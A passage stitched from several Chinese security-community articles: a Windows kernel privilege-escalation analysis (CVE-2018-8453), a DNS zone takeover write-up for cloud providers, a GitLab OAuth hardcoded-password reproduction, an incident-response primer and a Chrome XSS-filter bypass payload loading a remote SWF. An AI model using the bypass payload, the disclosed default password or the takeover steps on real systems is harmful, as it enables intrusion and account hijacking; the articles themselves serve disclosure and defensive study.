为虚假的spmenu再借助函数GetMenuBarInfo 实现任意地址读；最后通过内核地址泄露定位到EPROCESS 结构地址，并使用EPROCESS
链查找system 进程，获取system 进程token 并实现替换从而实现提权。
## 03
### 在针对中东地区的攻击活动中使用Windows内核提权漏洞
#### 相关活动概要
CVE-2018-8453是卡巴斯基实验室于2018年8月份在一系列针对中东地区进行APT攻击的活动中捕获到的Windows提权0day漏洞，该漏洞与Windows窗口管理和图形设备接口相关（win32kfull.sys）。
通过控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数，可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的UseAfterFree，从而进行提权。以下是对该漏洞的技术细节分析介绍。
### CVE-2018-8453
#### 漏洞概述
该漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数存在缺陷：在对窗口对象设置FNID时没有检查窗口对象是否已经被释放，导致可以对一个已经被释放了的窗口（FNID_FREED:0x8000）设置一个新的FNID，通过利用win32kfull!NtUserSetWindowFNID的这一缺陷，从而可以达到UAF，导致漏洞的利用。
#### 漏洞原理
POC流程如下：
Hook
KernelCallbackTable中的回调后，通过向滚动条发送WM_LBUTTONDOWN消息触发调用xxxSBTraackInit函数，因为对一个滚动条进行鼠标左击时，会触发调用win32kfull!xxxSBTrackInit函数，这里会调用xxxSBTrackLoop循环获取鼠标消息，直到释放鼠标左键或者收到其它消息，才会退出xxxSBTrackLoop函数。
xxxSBTrackInit中调用xxxSBTrackLoop回调fnDWORD_hook时，调用DestoryWindow(g_hMAINWND)，
这样会导致调用win32kfull!xxxFreeWindow，因为我们在注册主窗口类的时候设置了主窗口类的cbWndExtra不为0，那么在win32kfull!xxxFreeWindow中会调用xxxClientFreeWindowClassExtraBytes函数来释放主窗口类的额外数据。
上图这个函数会回调KernelCallbackTable[126]，就会进入我们的第二个hook函数中去。
在进入第二个hook函数fnClientFreeWindowClassExtraBytesCallBack_hook后我们必须手动调用NtUserSetWindowFNID(g_hMAINWND,spec_fnid)设置主窗口的FNID(spec_fnid的取值范围从0x2A1到0x2AA，这里我们将spec_find设置为0x2A2即可）。同时申请一个新的滚动条：g_hSBWNDNew，并调用SetCapture(g_hSBWNDNew)设置当前线程捕获鼠标消息的窗口是g_hSBWNDNew。
由于主窗口被Destory，那么xxxSBTrackLoop会返回，继续执行HMAssignmentUnLock(&pSBTrack->spwndNotify)解除对主窗口的引用。从而导致主窗口被彻底释放，这会导致再一次的调用xxxFreeWindow，当调用了xxxFreeWindow之后，窗口的FNID就会打上0x8000标记。
当再次进入fnDWORD_hook函数时就是我们最后一次回到R3的时机了，这个时候如果调用SendMessage(g_hSBWNDNew,WM_CANCLEMODE)
就会调用xxxEndScroll来释放pSBTrack。
由于POC程序是单线程，而每个线程信息是属于线程的，所以线程创建的所有窗口也都指向同一线程信息结构。即使SBTrack隶属的Scrollbar窗口已经释放了，只要还是同一线程创建的新窗口，pSBTrack也还是原来的。
由于我们是向新创建滚动条g_hSBWNDNew发送的WM_CANCLEMODE消息，且之前就调用SetCaputure(g_hSBWNDNew)设置当前线程捕获鼠标消息的窗口为g_hSBTWNDNew，所以qp->spwndCapture==pwnd也会满足。
因此上图中的if判断会通过，并最终执行UserFreePool(pSBTrack)将pSBTrack给释放掉，从而造成返回执行HMAssignmentUnLock(&pSBTrack->spwndSB)时，pSBTrack就已经被释放掉了。最终造成了对pSBTrack的Use
After Free。
#### 漏洞利用
由于我们可以通过hook
KernelCallbackTable中的回调函数来控制win32kfull!xxxSBTrackInit中的pSBTrack被提前释放，造成对pSBTrack的Use
After
Free。之后则可以通过池风水喷射技术占用被提前释放掉的pSBTrack实现有限次的任意内存减1或减2。这个有限次的任意内存减1或减2配合桌面堆泄露技术和GDI
Palette Abuse技术就可以实现任意内存读写。
## 总结
APT 攻击事件随着技术的发展也逐渐由早期单一化逐渐演变为目前的复杂化，而同时随着计算机软件系统安全防护技术的提升，软件漏洞开始成为APT
组织攻击活动中重要组成部分，在整个攻击活动中扮演着“突破者”的角色。之所以形容其为“突破者”，在于漏洞利用模块多为突破系统防护或沙箱最终实现对目标系统的攻击。
奇安信威胁情报中心收集整理了众多APT 攻击活动并从中例举了如“摩诃草”、“蔓灵花”等组织曾发起的攻击活动，分析这些攻击活动中所使用到的系统（Windows
系统）漏洞并简述其原理及利用，以求从另一个视角看待这些攻击：若漏洞不存在，攻击是否达成？
通过文章简述分析，我们清楚的看到这些漏洞在整个攻击事件中所扮演的重要角色，同时我们也应该认识到，及时的抹除这些漏洞即安装系统补丁对于避免这些攻击事件的重要性。
奇安信红雨滴团队呼吁相关用户，及时安装系统更新，并定期更新安全防护系统，能有效防止遭受此类攻击。
## APT活动相关Windows提权漏洞附表
**攻击活动** | **相关APT组织** | **涉及漏洞**
---|---|---
“摩诃草”APT组织以巴基斯坦空军演习为诱饵展开攻击活动 | 摩诃草 | CVE-2016-7255CVE-2019-0808
“蔓灵花”APT组织在针对国内攻击活动中使用Windoows内核提权0 day漏洞 | 蔓灵花 | CVE-2021-1732
SandCat APT组织在实际攻击中使用最新Windows在野提权漏洞 | SandCat | CVE-2018-8589CVE-2019-0797
针对中东地区的Windows内核提权漏洞利用分析 | | CVE-2018-8453
APT31组织在实际攻击中使用CVE-2017-0005漏洞进行提权 | APT31 | CVE-2017-0005
APT28组织在实际攻击中使用CVE-2016-7255，CVE-2017-0263漏洞进行提权 | APT28 |
CVE-2016-7255CVE-2017-0263
Turla组织在实际攻击中使用CVE-2017-0001漏洞进行提权 | Turla | CVE-2017-0001
## 参考链接
[1] <https://nvd.nist.gov/vuln/detail/CVE-2016-7255>
[2] <https://doxygen.reactos.org/d8/d33/arch_2amd64_2winldr_8c.html>
[3] <https://ti.qianxin.com/blog/articles/Summary-and-analysis-of-APT-attack-activities-in-South-Asia-in-January-2021/>
[4] <https://www.mcafee.com/blogs/other-blogs/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/>
[5] <https://www.sohu.com/a/211497788_764248>
[6] <https://ti.qianxin.com/blog/articles/cve-2018-8453-win32k-elevation-of-privilege-vulnerability-targeting-the-middle-east/>
* * * | 社区文章 |
# 【技术分享】通过AWS、Google Cloud和Digital Ocean的DNS漏洞接管近12万域名
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://thehackerblog.com/the-orphaned-internet-taking-over-120k-domains-via-a-dns-vulnerability-in-aws-google-cloud-rackspace-and-digital-ocean/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
不久之前，我在云主机提供商Digital
Ocean的域名导入系统中发现了一个安全漏洞，攻击者或可利用这个漏洞接管两万多个域名【[报告传送门](https://thehackerblog.com/floating-domains-taking-over-20k-digitalocean-domains-via-a-lax-domain-import-system/index.html)】。如果你还没有阅读这篇报告的话，我去建议你在阅读本篇文章之前先大致看一看这份报告。在此之前，我还以为只有Digital
Ocean的域名系统中才存在这个问题。但是我在进一步分析后发现，目前很多主流的DNS服务提供商其系统中都存在这个漏洞。如果你也在使用第三方的DNS服务，那么你也会受到该漏洞的影响。
**
**
**漏洞分析**
很多DNS服务提供商都允许用户向自己的账号中添加域名，但是在添加域名的过程中系统并没有对域名所有者的身份进行验证，这也是导致该漏洞的根本原因。实际上，这也是目前的云服务提供商普遍采用的一种处理流程，包括AWS、Google
Cloud、Rackspace和Digital Ocean在内。
当用户在这些云服务中使用域名时，Zone文件在被删除之后并没有修改域名的域名服务器。这也就意味着，云服务仍然可以正常使用这些域名，但是用户账号中却没有相应的Zone文件来控制这些域名。所以，任何人此时都可以创建一个DNS
Zone（DNS区域）来控制这些域名。攻击者可以利用这些被控制的域名来搭建网站、颁发SSL/TLS证书或者托管邮件服务器等等。更糟糕的是，目前已经有超过十二万个域名会受到该漏洞的影响，而受影响的域名数量还在增加。
**通过DNS来检测受影响的域名**
检测这个漏洞的过程相对来说还是比较有趣的，我们可以通过对目标域名服务器进行简单的DNS查询（[NS查询](https://en.wikipedia.org/wiki/List_of_DNS_record_types#Resource_records)）来枚举出受影响的域名。如果域名存在问题的话，域名服务器将会返回一个[SERVFAIL错误或REFUSED
DNS错误](https://support.opendns.com/entries/60827730-FAQ-What-are-common-DNS-return-or-response-codes-)。在这里我们使用了[DNS工具（dig）](https://en.wikipedia.org/wiki/Dig_\(command\))来进行一次简单的查询请求，具体如下所示：
ubuntu@ip-172-30-0-49:~/$ dig NS zz[REDACTED].net
; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> NS zz[REDACTED].net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 62335
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;zz[REDACTED].net. IN NS
;; Query time: 73 msec
;; SERVER: 172.30.0.2#53(172.30.0.2)
;; WHEN: Sat Sep 17 16:46:30 PDT 2016
;; MSG SIZE rcvd: 42
从上面这段响应信息中可以看到，我们收到了一个DNS SERVFAIL错误，说明这个域名已经受到漏洞影响了。
如果我们收到的是一个SERVFAIL响应，那么我们如何才能知道这个域名的域名服务器呢？实际上，dig命令已经帮我们找到了这个域名的域名服务器了，只不过还没有显示给我们而已。
首先，直接查询关于.net顶级域名的信息（本例中为.net）：
ubuntu@ip-172-30-0-49:~$ dig NS net.
; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> NS net.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 624
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;net. IN NS
;; ANSWER SECTION:
net. 2597 IN NS b.gtld-servers.net.
net. 2597 IN NS c.gtld-servers.net.
net. 2597 IN NS d.gtld-servers.net.
net. 2597 IN NS e.gtld-servers.net.
net. 2597 IN NS f.gtld-servers.net.
net. 2597 IN NS g.gtld-servers.net.
net. 2597 IN NS h.gtld-servers.net.
net. 2597 IN NS i.gtld-servers.net.
net. 2597 IN NS j.gtld-servers.net.
net. 2597 IN NS k.gtld-servers.net.
net. 2597 IN NS l.gtld-servers.net.
net. 2597 IN NS m.gtld-servers.net.
net. 2597 IN NS a.gtld-servers.net.
;; Query time: 7 msec
;; SERVER: 172.30.0.2#53(172.30.0.2)
;; WHEN: Sat Sep 17 16:53:54 PDT 2016
;; MSG SIZE rcvd: 253
现在，我们可以查询列表中的域名服务器，并找出目标域名的域名服务器：
ubuntu@ip-172-30-0-49:~$ dig NS zz[REDACTED].net @a.gtld-servers.net.
; <<>> DiG 9.9.5-3ubuntu0.8-Ubuntu <<>> NS zz[REDACTED].net @a.gtld-servers.net.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3529
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;zz[REDACTED].net. IN NS
;; AUTHORITY SECTION:
zz[REDACTED].net. 172800 IN NS dns1.stabletransit.com.
zz[REDACTED].net. 172800 IN NS dns2.stabletransit.com.
;; ADDITIONAL SECTION:
dns1.stabletransit.com. 172800 IN A 69.20.95.4
dns2.stabletransit.com. 172800 IN A 65.61.188.4
;; Query time: 9 msec
;; SERVER: 192.5.6.30#53(192.5.6.30)
;; WHEN: Sat Sep 17 16:54:48 PDT 2016
;; MSG SIZE rcvd: 129
我们可以看到，这个域名的域名服务器为dns1.stabletransit.com和dns2.stabletransit.com，接下来我们就可以针对这两个域名服务器来进行操作了。
为了找出受该漏洞影响的域名，在这里我使用了我自己的[Zone文件](https://www.verisign.com/en_US/channel-resources/domain-registry-products/zone-file/index.xhtml)（适用于顶级域名.com和.net）。这些Zone文件中记录了每一个.com和.net域名所对应的域名服务器，通过这些数据我们就可以找出某一特定的云服务商所托管的全部域名了，因为这些域名服务器肯定属于这些云服务提供商。接下来，我们就可以使用一个Python脚本来向每一个域名发送请求，并检查SERVFAIL或REFUSED
DNS错误。最后，我们需要使用云服务管理面板来查看是否可以将这些域名添加至我们的账号中，以确认漏洞的存在。
**Google Cloud DNS（约2.5K个域名受到影响，状态：已修复）**
Google
Cloud提供了DNS管理服务，用户只需简单的操作便可以在其中添加新的域名。点击【[这里](https://cloud.google.com/dns/quickstart#create_a_managed_zone_and_a_record)】获取详细的操作步骤。一般情况下的操作步骤如下所示：
1\. 进入Google Cloud账号的DNS管理面板：
[
https://console.cloud.google.com/networking/dns](https://console.cloud.google.com/networking/dns)
2\. 点击“+ Create Zone”按钮；
3\. 创建一个新的Zone并为Zone和域名命名；
4\. 点击“Create”按钮创建这个新的Zone；
注意，域名服务器列表已经返回给你了，在本例中我所收到的信息如下图所示：
5\. 检查我们的域名服务器与列表中显示的域名服务器地址是否相匹配，如果不匹配的话，删除这个Zone文件然后再试一次；
6\. 当你最终获取到了相匹配的域名服务器列表之后，你也就获取到了目标域名DNS的完整控制权了；
**AWS（约54K个域名受到影响，状态：已部署多个缓解措施）**
亚马逊的DNS管理服务名叫Route53。他们拥有大量的域名服务器，这些域名服务器覆盖了多个域名和顶级域名。当用户发出请求时，系统会随机返回某个域名服务器的地址。一开始我还以为这是为了预防某种类型的漏洞而设计的，但是由于他们也会受到该漏洞的影响，所以我认为这种处理方式应该是为了确保顶级域名的DNS查询效率而设计的。
下面给出的这些操作步骤可以让你在几分钟之内接管目标域名：
1\. 使用AWS Route53的API为目标域名创建一个新的Zone；
2\.
检查返回的域名服务器信息是否正确，如果返回的域名服务器地址与目标域名服务器不匹配，则移除列表中的Zone。下图所示的是系统针对某一域名所返回的域名服务器：
3\. 如果返回的域名服务器与目标域名服务器不匹配，则删除Zone；
4\. 不断重复这个步骤，直到你获取到所有受影响的域名服务器；
5\. 现在，创建相应的DNS记录；
在下面这个示例中，我们为一个目标域名创建了四个Zone，每一个Zone包含有一个目标域名服务器：
使用这种方法，我们就可以成功接管大约五万四千多个域名了。
**Digital Ocean（约20K个域名受到影响）**
如果各位想要了解Digital Ocean的受影响情况，请参阅这份报告【[传送门](https://thehackerblog.com/floating-domains-taking-over-20k-digitalocean-domains-via-a-lax-domain-import-system/index.html)】。
**
**
**攻击者能做什么？**
这个漏洞的攻击场景主要分为两种情况，及有针对性的和无针对性的。根据攻击者目标的不同，具体情况需要具体分析。
**针对性攻击**
在这种攻击场景下，攻击者的目标是某一特定的域名或者是属于攻击目标的多个域名。此时，攻击者可以创建一个脚本来对目标域名的域名服务器自动执行NS查询。脚本可以检测其是否接收到了SERVFAIL或REFUSED
DNS错误，如果目标域名不存在相应的DNS Zone，那么脚本便会立即尝试分配目标域名的域名服务器。
**无针对性的攻击**
这种攻击场景发生的可能性更高，在我看来，攻击者感兴趣的只是利用这些域名来传播恶意软件或者进行与垃圾邮件有关的活动。由于很多威胁情报服务在对域名进行评估时，会根据域名的使用时间、注册时长、以及注册成本来分析域名的安全性。因此，劫持一个已存在的域名远比注册一个新域名要划算得多。除此之外，攻击者还可以利用这些被劫持的域名来隐藏自己的身份，因为这些域名的WHOIS信息指向的并非是真正发动攻击的人。这样一来，即便是恶意攻击活动被发现了，其背后的始作俑者也可以全身而退。
**
**
**总结**
这个漏洞是一个系统问题，目前主流的DNS服务提供商都会受到该漏洞的影响。除了本文中专门列出的提供商之外，还有很多其他受影响的DNS域名服务提供商没有提及到。因此，我们建议所有的DNS域名服务提供商尽快检查自己的域名系统中是否存在这个安全问题，如果存在的话，请尽快修复相应的漏洞。 | 社区文章 |
# 漏洞描述
GitLab 是一个用于仓库管理系统的开源项目，使用 Git 作为代码管理工具，可通过 Web 界面访问公开或私人项目。
在GitLab
CE/EE版本14.7(14.7.7之前)、14.8(14.8.5之前)和14.9(14.9.2之前)中使用OmniAuth提供商(如OAuth、LDAP、SAML)注册的帐户设置了硬编码密码，允许攻击者潜在地控制帐户。
# 漏洞版本
|
---|---
Gitlab CE/EE | >=14.7,<14.7.7
Gitlab CE/EE | >=14.8,<14.8.5
Gitlab CE/EE | >=14.9,<14.9.2
# 环境搭建
选择 docker hub 上的 gitlab/gitlab-ce:14.7.4-ce.0 版本
Image Layer Details - gitlab/gitlab-ce:14.7.5-ce.0 | Docker Hub
编写docker-compose 文件，使用docker-compose up -d 搭建 、端口会映射到本地 8080端口、还将映射三个目录。
version: '3'
services:
gitlab:
image: 'gitlab/gitlab-ce:14.7.4-ce.0'
container_name: 'gitlab'
restart: always
privileged: true
hostname: 'gitlab'
environment:
TZ: 'Asia/Shanghai'
ports:
- '8080:80'
volumes:
- ./config:/etc/gitlab
- ./data:/var/opt/gitlab
- ./logs:/var/log/gitlab
conf目录 下的 gitlab.rb 是配置文件、 initial_root_password 是初始密码文件会，它将会保存24小时。
接下来我们在github 上创建新的 OAuth application 。
Application name 的名字可以随便写。
Homepage URL 是gitlab 的 url ，因为本地搭建且端口映射在8080上
Authorization callback URl 是认证回调url ，用户被 GitHub 重定向的站点
Homepage 填写 ： http://127.0.0.1:8080
Callback url 填写 ：http://127.0.0.1:8080/users/auth/github/callback
但Callback 如果这样填写的话会出一个问题,这个后面再说。
点击 Register application 注册成功 ，会获取到 Client ID 、 Client secrets( 点击 Generate a
new client secret 去创建一个新的secret )
在gitlab的配置文件中开启Oauth 认证，我们cd 到 /config/gitlab.rb 然后去追加一些代码。
将刚刚获取创建到的 app_id app_secret 添加上。
### OmniAuth Settings
###! Docs: https://docs.gitlab.com/ee/integration/omniauth.html
gitlab_rails['omniauth_allow_single_sign_on'] = ['github']
gitlab_rails['omniauth_auto_link_ldap_user'] = true
gitlab_rails['omniauth_block_auto_created_users'] = true
gitlab_rails['omniauth_providers'] = [
{
name: "github",
app_id: "APP_IP",
app_secret: "APP_SECRET",
args: { scope: "user:email" }
}
]
访问本地 8080端口、到此环境已经搭建成功。
# 漏洞复现
## 漏洞原理
Github OAuth app 采用了OAuth2。 在我们认识漏洞之前，先简单了解一下 OAuth2。
### 传统的身份验证模型：
在传统的客户端-服务器身份验证模型中，客户端通过使用资源所有者的凭据向服务器进行身份验证来请求服务器上的访问受限制的资源（受保护的资源）。为了向第三方应用程序提供对受限资源的访问权限，资源所有者与第三方共享其凭据。
### 传统的身份验证模型中会存在哪些问题和限制呢？
* 第三方应用程序会以明文的形式存储存储资源所有者的凭据。
* 任何第三方应用程序的泄露都会导致最终用户的密码以及受该密码保护的所有数据受损。
还有别的问题和限制。感兴趣的朋友可以去了解一下 [rfc6749](http://www.rfcreader.com/#rfc6749)。
### OAuth2是如何解决的呢？
OAuth2 通过引入授权层并将客户端的角色与资源所有者的角色分开来解决这些问题。在 OAuth2
中，客户端请求访问由资源所有者控制并由资源服务器托管的资源，并向其颁发一组与资源所有者不同的凭据。客户端获取访问令牌（表示特定作用域、生存期和其他访问属性的字符串），而不是使用资源所有者的凭据来访问受保护的资源。访问令牌由授权服务器在资源所有者的批准下颁发给第三方客户端。客户端使用访问令牌访问资源服务器承载的受保护资源。）
### OAuth2数据流程？
（A）用户打开客户端以后，客户端要求用户给予授权。
（B）用户同意给予客户端授权。
（C）客户端使用上一步获得的授权，向认证服务器申请令牌。
（D）认证服务器对客户端进行认证以后，确认无误，同意发放令牌。
（E）客户端使用令牌，向资源服务器申请获取资源。
（F）资源服务器确认令牌无误，同意向客户端开放资源。
### Github中 OAuth web授权流程
A、用户被重定向，以请求他们的 GitHub 身份
B、用户被 GitHub 重定向回您的站点
C、您的应用程序使用用户的访问令牌访问 API
看下Gitlab Diff 记录， password.rb 中 定义了默认密码。当使用第三方登录的时候，会自动创建与github同名的账户，默认密码 为
123qweQWE!@#000000000
我们在Gitlab登陆页，选择登陆方式为GitHub时：
1、Gitlab会向 <http://127.0.0.1:8080/users/auth/github> 发起POST请求。
2、<http://127.0.0.1:8080/users/auth/github>
会重定向到<https://github.com/login/oauth/authorize?发起GET请求，携带的参数如下。>
client_id : 在gitlab.rb 中填写的app_id
redirect_uri: 授权后重定向到项目的地址，必须和Github OAuth App时的callback url相同
response_type: 表示授权类型，此处的值固定为"code"
Scope: user:email 希望得到的权限范围.
state: 不可猜测的随机字符串。它用于防止跨站点请求伪造攻击。
3、Gitlab发起的 redirect_uri 与在GitHub中填写的callback中不相同时。报了错。
我们在Github填写的Callback 为 http://127.0.0.1:8080/users/auth/github/callback
此时的redirect_uri为。http://gitlab/users/auth/github/callback
在我去想着如何修改 redirect_uri ，做了很多尝试没有用。
4、没有办法的办法下、因为redirect_uri 与callback不同、然后我尝试将Github 的
Callback修改为redirect_uri，将redirect_url (
<http://gitlab/users/auth/github/callback>) 填到 Callback 看起来太荒谬了。怎么会有这种url。
5、没什么办法，只能先试试吧。先将 Github
的Callback修改为<http://gitlab/users/auth/github/callback做尝试。>
6、回到gitlab登陆页，点击GitHub登陆、跳转到授权页面。红框标注的是认证后将会跳转到 <http://gitlab>
,这肯定不对。先往下走吧。再看看这次请求的参数。
7、最后会向GitHub中填写的Callback跳转 发起GET请求参数为
[http://gitlab/users/auth/github/callback?code=xxxxxxx&state=xxxxxxxx,碰到了糟糕的502。但是，有的好消息是、他有code参数和state参数。](http://gitlab/users/auth/github/callback?code=xxxxxxx&state=xxxxxxxx,碰到了糟糕的502。但是，有的好消息是、他有code参数和state参数。)
8、当我再翻看OAuth2 的数据流程时，我注意到在第六步时会将 Access Token 发送到Resource Server
，只要将这个请求发到<http://127.0.0.1:8080/users/auth/github/callback>
,就已经接近完成了。既然GitHub不能自己跳转、我尝试能不能自己去修改。
9、将gitlab 修改为 <http://127.0.0.1:8080> ,然后又被跳转到登陆页。出现了以下错误，
您的帐户正在等待您的GitLab管理员的批准，因此被阻止。如果您认为这是一个错误，请联系您的GitLab管理员
登陆root账号查看，存在一个没有激活的账户。
最后利用管理员权限、将用户激活、测试。
注意注册的用户 账户名是 GitHub用户名、
密码就是123qweQWE!@#000000000
# 修复建议
目前官方已经对该漏洞进行了修复，在做好数据备份之后升级到安全版本。
# 参考材料
<https://about.gitlab.com/releases/2022/03/31/critical-security-release-gitlab-14-9-2-released/?fbclid=IwAR0yf94g69dMEKraW-g7SCnfEXlgVrj6dKgpFxoWzonpmwHeaxTrK8l3by8>
<https://about.gitlab.com/releases/2022/03/31/critical-security-release-gitlab-14-9-2-released/?fbclid=IwAR0yf94g69dMEKraW-g7SCnfEXlgVrj6dKgpFxoWzonpmwHeaxTrK8l3by8critical-security-release-gitlab-14-9-2-released/?fbclid=IwAR0yf94g69dMEKraW-g7SCnfEXlgVrj6dKgpFxoWzonpmwHeaxTrK8l3by8>
<https://docs.github.com/cn/developers/apps/building-oauth-apps/authorizing-oauth-apps>
<http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html> | 社区文章 |
# 应急响应入门篇-应急响应流程及数据保护
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.网络安全的特性
整体性：业务与利益相关
动态性：技术不断发展
开放性：没有物理边界
相对性：没有绝对的安全
## 2.网络应急响应：
定义：在对网络安全态势、组织的网络系统运行情况和面临安全威胁有清楚的认识下，在管理、技术和人员方面进行计划和准备，当网络安全事件突发时，能够有序应对并妥善处理，降低组织的损失，并能够改进网络安全突发事件的策略和计划
应急响应对网络安全事件所做的具体准备，如数据、工具、人力和计划方面，以及事件发生时的处置和事件后的针对分析。
3.方向分类：
红队：攻击方
蓝队：狩猎
青队： 网络安全问题初出现，能够及时响应反制保护企业安全
工作内容： 采取合适的应对策略和措施保障自身业务信息系统持续性。
## 3应急响应流程
### 1.应急响应准备
获取当前网络安全事件信息
事件发生前，做好日常运维检测，收集各类故障信息。（区别系统自身故障和人为破坏）
（区分一般事件和应急响应事件）
充分获取当前事件信息从而启动响应的预案（事件上报，确认应急响应事件类型和应急事件的等级）
通知相关人员，启用应急预案
### 2.启用网络安全应急响应预案
1.应急预案内容
1.1 总则
1.2组织体系和职责
1.3事件预警
1.4应急处置
1.5后期处置
1.6预防工作
1.7保障措施
1.8附则
2.应急小组划分
应急领导小组、应急预案制定小组、应急执行小组、应急保障小组、技术保障小组、支持保障小组
### 3.应急响应保护
**1.抑制保护**
应急响应事件发生，采用临时策略对目录机器进行止损。
措施:直接策略：断网，断网好处：防止删除日志和重要文件
方法：查清影响的机器和范围
进行网络隔离，关闭响应的端口
切换备份机器，保障业务正常
常规应急响应：修复系统，分析产生的原因，加固系统。
**2.数据保护**
**2.1winows系统**
1.保护物理设备（物理隔离，防止人为物理破坏机器）
事件严重的话，保护现场。
2.对内存和磁盘制作相关进行（取证数据）
（磁盘镜像(Disk Image) 将存储器的完整内容和结构都保存在一个文件）
windows系统 <https://getdataforensics.com/product/fex-imager/>
1.进入首页，是介绍它的版本，以及支持的系统。
点击下载windows版本。
开始安装
使用管理员模式运行
第一种是整个硬盘备份。
第二个是按分区模式进行备份。
开始备份
备份完成。
第二个工具：<https://www.datanumen.com/disk-image/>
进入首页，下载
然后双击，开始安装。
进行备份。
**2.2Linux系统**
lsblk 查看磁盘编号
开始备份sda5
sudo dd bs=512 if=/dev/sda5 | gzip -9 > image-os.gz
**内存镜像制作**
1.内存快照，病毒木马都是内存驻留，不会在硬盘留有痕迹。避免自我销毁，此时进行保留内存镜像，
利于多次分析。
Magnet RAM Capture
<http://magnetfiles.com/free_tools/MagnetRAMCapture/>
**进程文件制作**
procdump
<https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump>
进入首页下载
使用方法：
主要用法：procdump64.exe –ma <pid>
第一种用法：procdump64.exe + notepad进行制作。
第二种：找到notepad的pid值
使用procdump64.exe -ma 13260
对比之后，发现第二个保存的比较完整，值得推荐。
总结：本文主要从应急响应的流程，划分，应急响应各个阶段，人员划分，准备阶段及碰到应急响应的时候，如何将风险降低。还有对数据保护的一些方式。 | 社区文章 |
原文链接：[MKSB](http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html)
原作者：Masato Kinugawa
译： **Holic (知道创宇404安全实验室)**
Hi there!
出于一些原因，我在读 Chromium 的源码的时候，意外地发现了一个绕过 XSS 过滤器的方法。在这篇短文里，我将分享这一绕过方法。我已在此处进行了报告：
https://bugs.chromium.org/p/chromium/issues/detail?id=676992
绕过方法如下：
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
当然这样也有效:
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
直到我在 HTMLObjectElement.cpp 中找到相关代码，我才知道 Chrome 竟会支持这些参数，：
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
`<param name="src" value="//attacker/xss.swf">` 和 `<param name="movie"
value="//attacker/xss.swf">` 被 XSS 过滤器拦截了。但是我发现 `code` 和 `url`
并没有被拦截。使用这一方法，我们可以加载 Flash 并执行 JavaScript。根据源代码的注释，看来 Chrome
出于兼容性的考虑支持这一特性。但至少我确认了它在 IE/Edge 上并不生效。我认为 Chrome 可以移除对它的支持 :)
此致。我写了用 `<param>` 标签绕过 XSS 过滤器的方法，感谢阅读！
* * * | 社区文章 |
# NEUZZ源码阅读笔记（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近又在读有关Fuzz研究的论文，读到了一篇标题为《NEUZZ: Efficient Fuzzing with Neural Program
Smoothing》的论文，是基于机器学习的梯度引导的Fuzz，看了看原理虽然有点难懂，但是工程实践上还是比较简单的，遂撰写了这篇笔记，以供交流心得
结构图感谢B站的小姐姐UP主：爱吃红豆沙の诸葛晴画，她的NEUZZ论文解读视频也很好
https://b23.tv/FsXwhr
## 一、简介
NEUZZ就是采用了一种程序平滑技术，这种技术使用前向反馈神经网络，能够逐步学习去平滑地模拟复杂实际应用的分支行为，然后提出了一种gradient-guided搜索策略，这种策略能利用平滑模拟函数去找到那些能使发现漏洞数最大化的突变位置
其核心思想就是：
* 从本质上讲模糊测试本身就是一个优化问题，目标就是在给定时间的测试中对于给定数量的输入能够最大化在程序中找到的漏洞数量，基本上是 **没有任何约束函数的无约束优化问题**
* AFL为代表的进化遗传变异算法也就是针对这个底层问题的一种优化，由于安全漏洞往往是稀疏且不稳定地分布在整个程序中，大多数模糊者的目标是通过最大化某种形式的代码覆盖（例如边缘覆盖）来尽可能多地测试程序代码。然而，随着输入语料库的增大，进化过程在到达新的代码位置方面的效率越来越低
* 进化优化算法的一个主要限制是它们不能利用潜在优化问题的结构（即梯度或其他高阶导数）。梯度引导优化（例如梯度下降）是一种很有前途的替代方法，它在解决不同领域的高维结构优化问题（包括气动计算和机器学习）方面明显优于进化算法
* 然而，梯度引导优化算法不能直接应用于模糊化现实世界的程序，因为它们通常包含大量的不连续行为（梯度无法精确计算的情况），因为不同程序分支的行为差异很大。这个问题可以通过创建一个光滑（即，可微）的代理函数来解决，该代理函数逼近目标程序相对于程序输入的分支行为
* 而神经网络理论上带有一个非线性函数的网络能够拟合任意函数
